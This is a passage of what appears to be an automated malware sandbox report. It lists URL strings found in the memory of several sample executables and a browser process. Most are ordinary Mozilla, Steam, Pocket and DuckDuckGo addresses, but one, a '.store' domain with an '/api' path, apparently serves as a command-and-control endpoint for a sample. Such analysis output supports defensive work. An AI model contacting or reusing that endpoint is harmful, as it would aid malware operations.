Source: file.exe, 00000000.00000003.1742967425.0000000001159000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688927467.0000000000E87000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688927467.0000000000E87000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006D6000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.000000000074E000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.steamstatic.com/public/shared/javascript/auth_refresh.js?v=WgUxSlKTb3W1&l=engl
Source: file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006D6000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.000000000074E000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.steamstatic.com/public/shared/javascript/shared_global.js?v=7glT1n_nkVCs&l=eng
Source: file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006D6000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.000000000074E000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=pSvIAKtunf
Source: file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006D6000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.000000000074E000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0
Source: firefox.exe, 00000015.00000003.2083904396.0000016C138F5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2015668492.0000016C08E5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2014816814.0000016C08E1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2015993176.0000016C08E77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2015268817.0000016C08E3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2014566656.0000016C0B100000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 00000015.00000003.2205679702.0000016C0D866000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net
Source: firefox.exe, 00000015.00000003.2230082437.0000016C139B3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2201687644.0000016C133DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2234346189.0000016C133E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net/chains/remote-settings.content-signature.mozilla.org-202
Source: firefox.exe, 00000015.00000003.2196521682.0000016C7F5AD000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2723869326.000000000537A000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2714716292.0000000005374000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2717946351.0000000005374000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2742010534.00000000006E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: firefox.exe, 00000015.00000003.2196521682.0000016C7F5AD000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2723869326.000000000537A000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2714716292.0000000005374000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2717946351.0000000005374000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2742010534.00000000006E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 00000015.00000003.2204634484.0000016C0DE42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com
Source: firefox.exe, 00000015.00000003.2199237331.0000016C136B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/
Source: firefox.exe, 00000015.00000003.2199237331.0000016C136B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 00000015.00000003.2124955286.0000016C13530000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2179386446.0000016C13536000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/993268
Source: firefox.exe, 00000015.00000003.2261116618.0000016C0B391000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2220389420.0000016C0AFBB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://datastudio.google.com/embed/reporting/
Source: firefox.exe, 00000015.00000003.2249656043.0000016C7FE12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2249656043.0000016C7FE2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTab
Source: firefox.exe, 00000015.00000003.2242930006.0000016C0EAE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTabMozRequestFullSc
Source: firefox.exe, 00000015.00000003.2249656043.0000016C7FE2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture
Source: firefox.exe, 00000015.00000003.2249656043.0000016C7FE12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2249656043.0000016C7FE2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCapture
Source: firefox.exe, 00000015.00000003.2242930006.0000016C0EAE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCaptureElementReleaseCaptureWarning
Source: firefox.exe, 00000015.00000003.2249656043.0000016C7FE12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2249656043.0000016C7FE2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryption
Source: firefox.exe, 00000015.00000003.2242930006.0000016C0EAE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#EncryptionPreventDefaultFromP
Source: firefox.exe, 00000015.00000003.2249656043.0000016C7FE12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2249656043.0000016C7FE2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing
Source: firefox.exe, 00000015.00000003.2150730540.0000016C0C7D6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2104170885.0000016C0C7D6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIEffectiveTLDServi
Source: firefox.exe, 00000015.00000003.2124955286.0000016C13530000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2179386446.0000016C13536000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/ElementCSSInlineStyle/style#setting_styles)
Source: firefox.exe, 00000015.00000003.2124955286.0000016C13530000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2179386446.0000016C13536000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for-await...of
Source: firefox.exe, 00000015.00000003.2124955286.0000016C13530000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2179386446.0000016C13536000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl
Source: 48bf814d33.exe, 00000025.00000003.2803470311.0000000000D05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dissapoiznw.store:443/api
Source: firefox.exe, 00000015.00000003.2205679702.0000016C0D866000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: firefox.exe, 00000015.00000003.2084425762.0000016C138C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?t=ffab&q=
Source: file.exe, 00000000.00000003.1743559424.00000000058E2000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1743645554.00000000058CD000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1743702980.00000000058CD000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2505731166.0000000005CA6000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2506165018.0000000005C8F000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2623054878.00000000053B7000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2621951442.00000000053B9000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2626470195.00000000053B7000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2658235361.000000000538B000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2654866990.000000000538D000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2655476675.000000000538B000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2731188335.000000000541E000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2734913572.0000000005678000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1743559424.00000000058E2000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1743645554.00000000058CD000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1743702980.00000000058CD000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2505731166.0000000005CA6000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2506165018.0000000005C8F000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2623054878.00000000053B7000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2621951442.00000000053B9000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2626470195.00000000053B7000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2658235361.000000000538B000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2654866990.000000000538D000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2655476675.000000000538B000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2731188335.000000000541E000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2734913572.0000000005678000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1743559424.00000000058E2000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1743645554.00000000058CD000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1743702980.00000000058CD000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2505731166.0000000005CA6000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2506165018.0000000005C8F000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2623054878.00000000053B7000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2621951442.00000000053B9000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2626470195.00000000053B7000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2658235361.000000000538B000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2654866990.000000000538D000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2655476675.000000000538B000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2731188335.000000000541E000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2734913572.0000000005678000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 00000015.00000003.2141421126.0000016C0AF39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2022685660.0000016C0AF33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2186790728.0000016C0AF39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2019423119.0000016C0AF33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 00000015.00000003.2141421126.0000016C0AF39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2022685660.0000016C0AF33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2186790728.0000016C0AF39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2019423119.0000016C0AF33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 00000015.00000003.2242930006.0000016C0EAE0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2249656043.0000016C7FE12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2249656043.0000016C7FE2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/
Source: firefox.exe, 00000015.00000003.2242365445.0000016C0EFA1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2258216057.0000016C0EFA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2201974946.0000016C0EFA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 00000015.00000003.2078048238.0000016C0C464000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2075754399.0000016C0C46A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/706c7a85-cf23-442e-8a9
Source: firefox.exe, 00000015.00000003.2249656043.0000016C7FE12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/performance/scroll-linked_effects.html
Source: firefox.exe, 00000015.00000003.2205722525.0000016C0CFAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com/
Source: firefox.exe, 00000015.00000003.2242365445.0000016C0EFA1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2258216057.0000016C0EFA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2201974946.0000016C0EFA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 00000015.00000003.2199237331.0000016C136B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 00000015.00000003.2242365445.0000016C0EFA1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2070895362.0000016C0EAEC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2202309346.0000016C0EAEC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2242930006.0000016C0EAEC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2258216057.0000016C0EFA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2201974946.0000016C0EFA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 00000015.00000003.2201974946.0000016C0EFA1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2234346189.0000016C133E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 00000015.00000003.2235596864.0000016C136B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2257360746.0000016C136D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2199237331.0000016C136B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtabL
Source: firefox.exe, 00000015.00000003.2235596864.0000016C136B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2257360746.0000016C136D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2199237331.0000016C136B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtabC
Source: firefox.exe, 00000015.00000003.2235596864.0000016C136B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2257360746.0000016C136D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2199237331.0000016C136B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtabA
Source: firefox.exe, 00000015.00000003.2235596864.0000016C136B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2257360746.0000016C136D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2199237331.0000016C136B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtabE
Source: firefox.exe, 00000015.00000003.2235596864.0000016C136B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2257360746.0000016C136D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2199237331.0000016C136B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtabG
Source: firefox.exe, 00000015.00000003.2235596864.0000016C136B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2257360746.0000016C136D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2199237331.0000016C136B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab?
Source: firefox.exe, 00000015.00000003.2235596864.0000016C136B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2257360746.0000016C136D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2199237331.0000016C136B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtabN
Source: firefox.exe, 00000015.00000003.2070895362.0000016C0EAEC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2202309346.0000016C0EAEC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2242930006.0000016C0EAEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 00000015.00000003.2242365445.0000016C0EFA1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2258216057.0000016C0EFA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2201974946.0000016C0EFA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tabL
Source: firefox.exe, 00000015.00000003.2235596864.0000016C136B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2257360746.0000016C136D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2199237331.0000016C136B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtabI
Source: firefox.exe, 00000015.00000003.2199237331.0000016C1368D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 00000015.00000003.2235596864.0000016C136B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2257360746.0000016C136D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2199237331.0000016C136B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more/
Source: firefox.exe, 00000015.00000003.2070895362.0000016C0EAEC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2202309346.0000016C0EAEC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2242930006.0000016C0EAEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 00000015.00000003.2242365445.0000016C0EFA1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2258216057.0000016C0EFA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2201974946.0000016C0EFA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsS
Source: firefox.exe, 00000015.00000003.2242365445.0000016C0EFA1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2258216057.0000016C0EFA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2201974946.0000016C0EFA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsS7
Source: firefox.exe, 00000015.00000003.2242365445.0000016C0EFA1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2258216057.0000016C0EFA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2201974946.0000016C0EFA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=basic
Source: firefox.exe, 00000015.00000003.2124955286.0000016C13530000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2179386446.0000016C13536000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/google/closure-compiler/issues/3177
Source: firefox.exe, 00000015.00000003.2124955286.0000016C13515000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts
Source: firefox.exe, 00000015.00000003.2124955286.0000016C13515000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query.ts
Source: firefox.exe, 00000015.00000003.2124955286.0000016C13530000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2179386446.0000016C13536000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/issues/1266
